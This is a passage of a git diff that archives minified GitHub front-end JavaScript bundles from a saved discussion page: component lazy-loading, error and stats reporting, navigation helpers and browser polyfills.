dist_index_esm_js"),s.e("app_assets_modules_github_behaviors_remote-clipboard-copy_ts")]).then(s.bind(s,53287))),t("series-table",()=>s.e("app_assets_modules_github_insights_series-table_ts").then(s.bind(s,82100))),t("line-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_line-chart_ts")]).then(s.bind(s,75689))),t("bar-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_bar-chart_ts")]).then(s.bind(s,83515))),t("column-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_column-chart_ts")]).then(s.bind(s,86564))),t("stacked-area-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_stacked-area-chart_ts")]).then(s.bind(s,96514))),t("presence-avatars",()=>s.e("app_assets_modules_github_presence_presence-avatars_ts").then(s.bind(s,33096))),t("pulse-authors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_pulse-authors-graph-element_ts")]).then(s.bind(s,97724))),t("stacks-input-config-view",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_stacks_stacks-input-config-view_ts")]).then(s.bind(s,97818))),t("community-contributions-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_community-contributions_ts")]).then(s.bind(s,14008))),t("discussion-page-views-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussion-page-views_ts")]).then(s.bind(s,16427))),t("discussions-daily-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-daily-contributors_ts")]).then(s.bind(s,69142))),t("discussions-new-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-new-contributors_ts")]).then(s.bind(s,72895))),t("code-frequency-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_graphs_code-frequency-graph-element_ts")]).then(s.bind(s,29728))),t("contributors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158"),s.e("app_assets_modules_github_graphs_contributors-graph-element_ts")]).then(s.bind(s,56194))),t("org-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834"),s.e("app_assets_modules_github_graphs_org-insights-graph-element_ts")]).then(s.bind(s,79429))),t("traffic-clones-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-clones-graph-element_ts")]).then(s.bind(s,69549))),t("traffic-visitors-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-visitors-graph-element_ts")]).then(s.bind(s,5932))),t("commit-activity-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("app_assets_modules_github_graphs_commit-activity-graph-element_ts")]).then(s.bind(s,30579))),t("marketplace-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_marketplace-insights-graph-element_ts")]).then(s.bind(s,23825))),t("user-sessions-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_settings_user-sessions-map-element_ts")]).then(s.bind(s,75020))),t("reload-after-polling",()=>s.e("app_assets_modules_github_behaviors_reload-after-polling-element_ts").then(s.bind(s,87159))),t("package-dependencies-security-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts")]).then(s.bind(s,69709))),t(".js-sub-dependencies",()=>s.e("app_assets_modules_github_dependencies_ts").then(s.bind(s,42221))),t("network-graph",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9"),s.e("app_assets_modules_github_graphs_network-graph-element_ts")]).then(s.bind(s,11507))),t("business-audit-log-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_assets_modules_github_business-audit-log-map-element_ts")]).then(s.bind(s,15529))),t("inline-machine-translation",()=>s.e("app_assets_modules_github_localization_inline-machine-translation-element_ts").then(s.bind(s,96002)))}},l=>{var a=m(d=>l(l.s=d),"__webpack_exec__"),s=a(92333)}]);})(); + +//# sourceMappingURL=element-registry-5c2629948a88.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js new file mode 100644 index 0000000..f34ff2e --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js @@ -0,0 +1,4 @@ +(()=>{var J=Object.defineProperty;var e=(w,t)=>J(w,"name",{value:t,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["environment"],{83721:(w,t,i)=>{"use strict";var a=i(92003);window.addEventListener("error",c=>{c.error&&(0,a.eK)(c.error)}),window.addEventListener("unhandledrejection",async c=>{if(!!c.promise)try{await c.promise}catch(f){(0,a.eK)(f)}}),window.location.hash==="#b00m"&&setTimeout(()=>{throw new Error("b00m")});var v=i(30523),l=i(50232);(0,l.nn)()},47930:(w,t,i)=>{"use strict";i.d(t,{S:()=>c});function a(f){const o=document.querySelectorAll(f);if(o.length>0)return o[o.length-1]}e(a,"queryLast");function v(){const f=a("meta[name=analytics-location]");return f?f.content:window.location.pathname}e(v,"pagePathname");function l(){const f=a("meta[name=analytics-location-query-strip]");let o="";f||(o=window.location.search);const u=a("meta[name=analytics-location-params]");u&&(o+=(o?"&":"?")+u.content);for(const b of document.querySelectorAll("meta[name=analytics-param-rename]")){const d=b.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${d[0]}($|=)`,"g"),`$1${d[1]}$2`)}return o}e(l,"pageQuery");function c(){return`${window.location.protocol}//${window.location.host}${v()+l()}`}e(c,"requestUri")},7739:(w,t,i)=>{"use strict";i.d(t,{C:()=>v,x:()=>a});const a=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),v=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},92003:(w,t,i)=>{"use strict";i.d(t,{aJ:()=>s,cI:()=>E,eK:()=>S});var a=i(29946),v=i(97474),l=i(82918),c=i(50232),f=i(28382),o=i(47930),u=i(49815);let b=!1,d=0;const y=Date.now();function S(p,_={}){p&&p.name!=="AbortError"&&O(I(T(p),_))}e(S,"reportError");async function O(p){var _,A;if(!L())return;const x=(A=(_=document.head)==null?void 0:_.querySelector('meta[name="browser-errors-url"]'))==null?void 0:A.content;if(!!x){if(n(p.error.stacktrace)){b=!0;return}d++;try{await fetch(x,{method:"post",body:JSON.stringify(p)})}catch{}}}e(O,"report");function T(p){return{type:p.name,value:p.message,stacktrace:E(p)}}e(T,"formatError");function I(p,_={}){return Object.assign({error:p,sanitizedUrl:(0,o.S)()||window.location.href,readyState:document.readyState,referrer:(0,a.wP)(),timeSinceLoad:Math.round(Date.now()-y),user:s()||void 0,turbo:(0,u.c)("TURBO")},_)}e(I,"errorContext");function E(p){return(0,f.Q)(p.stack||"").map(_=>({filename:_.file||"",function:String(_.methodName),lineno:(_.lineNumber||0).toString(),colno:(_.column||0).toString()}))}e(E,"stacktrace");const r=/(chrome|moz|safari)-extension:\/\//;function n(p){return p.some(_=>r.test(_.filename)||r.test(_.function))}e(n,"isExtensionError");function s(){var p,_;const A=(_=(p=document.head)==null?void 0:p.querySelector('meta[name="user-login"]'))==null?void 0:_.content;return A||`anonymous-${(0,l.b)()}`}e(s,"pageUser");let g=!1;window.addEventListener("pageshow",()=>g=!1),window.addEventListener("pagehide",()=>g=!0),document.addEventListener(a.QE.ERROR,p=>{O(I({type:"SoftNavError",value:p.detail,stacktrace:E(new Error)}))});function L(){return!g&&!b&&d<10&&(0,c.Gb)()&&!(0,v.Z)(document)}e(L,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",_=>{S(_.data.error)})},49815:(w,t,i)=>{"use strict";i.d(t,{$:()=>o,c:()=>c});var a=i(15205);const v=(0,a.Z)(l);function l(){var u,b;return(((b=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:b.content)||"").split(",")}e(l,"enabledFeatures");const c=(0,a.Z)(f);function f(u){return v().indexOf(u)!==-1}e(f,"isEnabled");const o={isFeatureEnabled:c}},97474:(w,t,i)=>{"use strict";i.d(t,{Z:()=>a});function a(v){var l,c;const f=(c=(l=v.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:c.content;if(!f)return!1;const o=f.replace(/\.$/,"").split(".").slice(-2).join("."),u=v.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return o!==u}e(a,"detectProxySite")},84818:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});class a{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}e(a,"NoOpStorage");function v(l,c={throwQuotaErrorsOnSet:!1},f=window){let o;try{o=f[l]}catch{o=new a}const{throwQuotaErrorsOnSet:u}=c;function b(S){try{return o.getItem(S)}catch{return null}}e(b,"getItem");function d(S,O){try{o.setItem(S,O)}catch(T){if(u&&T.message.toLowerCase().includes("quota"))throw T}}e(d,"setItem");function y(S){try{o.removeItem(S)}catch{}}return e(y,"removeItem"),{getItem:b,setItem:d,removeItem:y}}e(v,"safeStorage")},24216:(w,t,i)=>{"use strict";i.d(t,{LS:()=>l,cl:()=>c,rV:()=>v});var a=i(84818);const{getItem:v,setItem:l,removeItem:c}=(0,a.Z)("sessionStorage")},29946:(w,t,i)=>{"use strict";i.d(t,{Ak:()=>I,F2:()=>A,F6:()=>g,FP:()=>O,LD:()=>S,OE:()=>y,Po:()=>d,QE:()=>c,Rl:()=>p,Xk:()=>n,Ys:()=>s,aN:()=>_,wP:()=>L});var a=i(24216),v=i(47930),l=i(45922);const c=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",o="soft-navigation-referrer",u="soft-navigation-marker",b="reload";function d(){return(0,a.rV)(u)==="1"}e(d,"inSoftNavigation");function y(){return Boolean(E())}e(y,"hasSoftNavFailure");function S(){performance.mark(u),(0,a.LS)(u,"1"),(0,a.LS)(o,(0,v.S)()||window.location.href)}e(S,"startSoftNav");function O(){(0,a.LS)(u,"0")}e(O,"endSoftNav");function T(){(0,a.LS)(u,"0"),(0,a.cl)(o),(0,a.cl)(f)}e(T,"clearSoftNav");function I(x){(0,a.LS)(f,x||b)}e(I,"setSoftNavFailReason");function E(){return(0,a.rV)(f)}e(E,"getSoftNavFailReason");let r=0;function n(){r+=1,document.dispatchEvent(new CustomEvent(c.SUCCESS,{detail:r}))}e(n,"softNavSucceeded");function s(){const x=E()||b;document.dispatchEvent(new CustomEvent(c.ERROR,{detail:x})),r=0,T(),(0,l.b)({turboFailureReason:x})}e(s,"softNavFailed");function g(){document.dispatchEvent(new CustomEvent(c.INITIAL)),r=0,T()}e(g,"softNavInitial");function L(){return(0,a.rV)(o)||document.referrer}e(L,"getSoftNavReferrer");function p(){return performance.getEntriesByName(u).length===0?0:performance.measure(u,u).duration}e(p,"getDurationSinceLastSoftNav");function _(){document.dispatchEvent(new Event(c.START))}e(_,"beginProgressBar");function A(){document.dispatchEvent(new Event(c.END))}e(A,"completeProgressBar")},45922:(w,t,i)=>{"use strict";i.d(t,{b:()=>c});var a=i(97474),v=i(7739);let l=[];function c(d,y=!1){d.timestamp===void 0&&(d.timestamp=new Date().getTime()),d.loggedIn=b(),l.push(d),y?u():o()}e(c,"sendStats");let f=null;async function o(){await v.C,f==null&&(f=window.requestIdleCallback(u))}e(o,"scheduleSendStats");function u(){var d,y;if(f=null,!l.length||(0,a.Z)(document))return;const S=(y=(d=document.head)==null?void 0:d.querySelector('meta[name="browser-stats-url"]'))==null?void 0:y.content;if(!S)return;const O=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(S,O)}catch{}l=[]}e(u,"flushStats");function b(){var d,y;return!!((y=(d=document.head)==null?void 0:d.querySelector('meta[name="user-login"]'))==null?void 0:y.content)}e(b,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)},30523:w=>{(function(){"use strict";var t=window,i=document;function a(l){var c=["MSIE ","Trident/","Edge/"];return new RegExp(c.join("|")).test(l)}e(a,"isMicrosoftBrowser");function v(){if("scrollBehavior"in i.documentElement.style&&t.__forceSmoothScrollPolyfill__!==!0)return;var l=t.HTMLElement||t.Element,c=468,f=a(t.navigator.userAgent)?1:0,o={scroll:t.scroll||t.scrollTo,scrollBy:t.scrollBy,elementScroll:l.prototype.scroll||b,scrollIntoView:l.prototype.scrollIntoView},u=t.performance&&t.performance.now?t.performance.now.bind(t.performance):Date.now;function b(n,s){this.scrollLeft=n,this.scrollTop=s}e(b,"scrollElement");function d(n){return .5*(1-Math.cos(Math.PI*n))}e(d,"ease");function y(n){if(n===null||typeof n!="object"||n.behavior===void 0||n.behavior==="auto"||n.behavior==="instant")return!0;if(typeof n=="object"&&n.behavior==="smooth")return!1;throw new TypeError("behavior member of ScrollOptions "+n.behavior+" is not a valid value for enumeration ScrollBehavior.")}e(y,"shouldBailOut");function S(n,s){if(s==="Y")return n.clientHeight+f1?1:_,g=d(_),L=n.startX+(n.x-n.startX)*g,p=n.startY+(n.y-n.startY)*g,n.method.call(n.scrollable,L,p),(L!==n.x||p!==n.y)&&t.requestAnimationFrame(E.bind(t,n))}e(E,"step");function r(n,s,g){var L,p,_,A,x=u();n===i.body?(L=t,p=t.scrollX||t.pageXOffset,_=t.scrollY||t.pageYOffset,A=o.scroll):(L=n,p=n.scrollLeft,_=n.scrollTop,A=b),E({scrollable:L,method:A,startTime:x,startX:p,startY:_,x:s,y:g})}e(r,"smoothScroll"),t.scroll=t.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.scroll.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:t.scrollY||t.pageYOffset);return}r.call(t,i.body,arguments[0].left!==void 0?~~arguments[0].left:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?~~arguments[0].top:t.scrollY||t.pageYOffset)}},t.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])){o.scrollBy.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:0,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:0);return}r.call(t,i.body,~~arguments[0].left+(t.scrollX||t.pageXOffset),~~arguments[0].top+(t.scrollY||t.pageYOffset))}},l.prototype.scroll=l.prototype.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){if(typeof arguments[0]=="number"&&arguments[1]===void 0)throw new SyntaxError("Value couldn't be converted");o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left:typeof arguments[0]!="object"?~~arguments[0]:this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top:arguments[1]!==void 0?~~arguments[1]:this.scrollTop);return}var n=arguments[0].left,s=arguments[0].top;r.call(this,this,typeof n=="undefined"?this.scrollLeft:~~n,typeof s=="undefined"?this.scrollTop:~~s)}},l.prototype.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left+this.scrollLeft:~~arguments[0]+this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top+this.scrollTop:~~arguments[1]+this.scrollTop);return}this.scroll({left:~~arguments[0].left+this.scrollLeft,top:~~arguments[0].top+this.scrollTop,behavior:arguments[0].behavior})}},l.prototype.scrollIntoView=function(){if(y(arguments[0])===!0){o.scrollIntoView.call(this,arguments[0]===void 0?!0:arguments[0]);return}var n=I(this),s=n.getBoundingClientRect(),g=this.getBoundingClientRect();n!==i.body?(r.call(this,n,n.scrollLeft+g.left-s.left,n.scrollTop+g.top-s.top),t.getComputedStyle(n).position!=="fixed"&&t.scrollBy({left:s.left,top:s.top,behavior:"smooth"})):t.scrollBy({left:g.left,top:g.top,behavior:"smooth"})}}e(v,"polyfill"),w.exports={polyfill:v}})()},28382:(w,t,i)=>{"use strict";i.d(t,{Q:()=>v});var a="";function v(E){var r=E.split(` +`);return r.reduce(function(n,s){var g=f(s)||u(s)||y(s)||I(s)||O(s);return g&&n.push(g),n},[])}e(v,"parse");var l=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,c=/\((\S*)(?::(\d+))(?::(\d+))\)/;function f(E){var r=l.exec(E);if(!r)return null;var n=r[2]&&r[2].indexOf("native")===0,s=r[2]&&r[2].indexOf("eval")===0,g=c.exec(r[2]);return s&&g!=null&&(r[2]=g[1],r[3]=g[2],r[4]=g[3]),{file:n?null:r[2],methodName:r[1]||a,arguments:n?[r[2]]:[],lineNumber:r[3]?+r[3]:null,column:r[4]?+r[4]:null}}e(f,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function u(E){var r=o.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(u,"parseWinjs");var b=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,d=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function y(E){var r=b.exec(E);if(!r)return null;var n=r[3]&&r[3].indexOf(" > eval")>-1,s=d.exec(r[3]);return n&&s!=null&&(r[3]=s[1],r[4]=s[2],r[5]=null),{file:r[3],methodName:r[1]||a,arguments:r[2]?r[2].split(","):[],lineNumber:r[4]?+r[4]:null,column:r[5]?+r[5]:null}}e(y,"parseGecko");var S=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function O(E){var r=S.exec(E);return r?{file:r[3],methodName:r[1]||a,arguments:[],lineNumber:+r[4],column:r[5]?+r[5]:null}:null}e(O,"parseJSC");var T=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function I(E){var r=T.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(I,"parseNode")},50232:(w,t,i)=>{"use strict";i.d(t,{nn:()=>Q,Gb:()=>Z});function a(m){const h=new AbortController;return h.abort(m),h.signal}e(a,"abortsignal_abort_abortSignalAbort");function v(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}e(v,"isSupported");function l(){return AbortSignal.abort===a}e(l,"isPolyfilled");function c(){v()||(AbortSignal.abort=a)}e(c,"apply");function f(m){const h=new AbortController;return setTimeout(()=>h.abort(new DOMException("TimeoutError")),m),h.signal}e(f,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}e(o,"abortsignal_timeout_isSupported");function u(){return AbortSignal.timeout===f}e(u,"abortsignal_timeout_isPolyfilled");function b(){o()||(AbortSignal.timeout=f)}e(b,"abortsignal_timeout_apply");class d extends Error{constructor(h,P,C={}){super(P);Object.defineProperty(this,"errors",{value:Array.from(h),configurable:!0,writable:!0}),C.cause&&Object.defineProperty(this,"cause",{value:C.cause,configurable:!0,writable:!0})}}e(d,"AggregateError");function y(){return typeof globalThis.AggregateError=="function"}e(y,"aggregateerror_isSupported");function S(){return globalThis.AggregateError===d}e(S,"aggregateerror_isPolyfilled");function O(){y()||(globalThis.AggregateError=d)}e(O,"aggregateerror_apply");const T=Reflect.getPrototypeOf(Int8Array)||{};function I(m){const h=this.length;return m=Math.trunc(m)||0,m<0&&(m+=h),m<0||m>=h?void 0:this[m]}e(I,"arrayLikeAt");function E(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in T&&typeof T.at=="function"}e(E,"arraylike_at_isSupported");function r(){return Array.prototype.at===I&&String.prototype.at===I&&T.at===I}e(r,"arraylike_at_isPolyfilled");function n(){if(!E()){const m={value:I,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",m),Object.defineProperty(String.prototype,"at",m),Object.defineProperty(T,"at",m)}}e(n,"arraylike_at_apply");function s(){const m=new Uint32Array(4);crypto.getRandomValues(m);let h=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(P){h++;const C=m[h>>3]>>h%8*4&15;return(P==="x"?C:C&3|8).toString(16)})}e(s,"randomUUID");function g(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}e(g,"crypto_randomuuid_isSupported");function L(){return g()&&crypto.randomUUID===s}e(L,"crypto_randomuuid_isPolyfilled");function p(){g()||(crypto.randomUUID=s)}e(p,"crypto_randomuuid_apply");const _=EventTarget.prototype.addEventListener;function A(m,h,P){if(typeof P=="object"&&"signal"in P&&P.signal instanceof AbortSignal){if(P.signal.aborted)return;_.call(P.signal,"abort",()=>{this.removeEventListener(m,h,P)})}return _.call(this,m,h,P)}e(A,"addEventListenerWithAbortSignal");function x(){let m=!1;const h=e(()=>m=!0,"setSignalSupported");function P(){}e(P,"noop");const C=Object.create({},{signal:{get:h}});try{const R=new EventTarget;return R.addEventListener("test",P,C),R.removeEventListener("test",P,C),m}catch{return m}}e(x,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===A}e(ee,"event_abortsignal_isPolyfilled");function $(){typeof AbortSignal=="function"&&!x()&&(EventTarget.prototype.addEventListener=A)}e($,"event_abortsignal_apply");const K=Object.prototype.hasOwnProperty;function N(m,h){if(m==null)throw new TypeError("Cannot convert undefined or null to object");return K.call(Object(m),h)}e(N,"object_hasown_objectHasOwn");function M(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}e(M,"object_hasown_isSupported");function te(){return Object.hasOwn===N}e(te,"object_hasown_isPolyfilled");function V(){M()||Object.defineProperty(Object,"hasOwn",{value:N,configurable:!0,writable:!0})}e(V,"object_hasown_apply");function j(m){return new Promise((h,P)=>{let C=!1;const R=Array.from(m),k=[];function z(D){C||(C=!0,h(D))}e(z,"resolveOne");function G(D){k.push(D),k.length===R.length&&P(new globalThis.AggregateError(k,"All Promises rejected"))}e(G,"rejectIfDone");for(const D of R)Promise.resolve(D).then(z,G)})}e(j,"promise_any_promiseAny");function U(){return"any"in Promise&&typeof Promise.any=="function"}e(U,"promise_any_isSupported");function ne(){return Promise.all===j}e(ne,"promise_any_isPolyfilled");function X(){U()||(Promise.any=j)}e(X,"promise_any_apply");const Y=50;function B(m,h={}){const P=Date.now(),C=h.timeout||0,R=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,Y-(Date.now()-P))}},"didTimeout",{get(){return Date.now()-P>C}});return window.setTimeout(()=>{m(R)})}e(B,"requestidlecallback_requestIdleCallback");function F(m){clearTimeout(m)}e(F,"cancelIdleCallback");function W(){return typeof globalThis.requestIdleCallback=="function"}e(W,"requestidlecallback_isSupported");function re(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===F}e(re,"requestidlecallback_isPolyfilled");function q(){W()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=F)}e(q,"requestidlecallback_apply");const H=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function Z(){return H&&v()&&o()&&y()&&E()&&g()&&x()&&M()&&U()&&W()}e(Z,"lib_isSupported");function oe(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}e(oe,"lib_isPolyfilled");function Q(){c(),b(),O(),n(),p(),$(),V(),X(),q()}e(Q,"lib_apply")},82918:(w,t,i)=>{"use strict";i.d(t,{b:()=>f});let a;function v(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}e(v,"generateClientId");function l(o){const 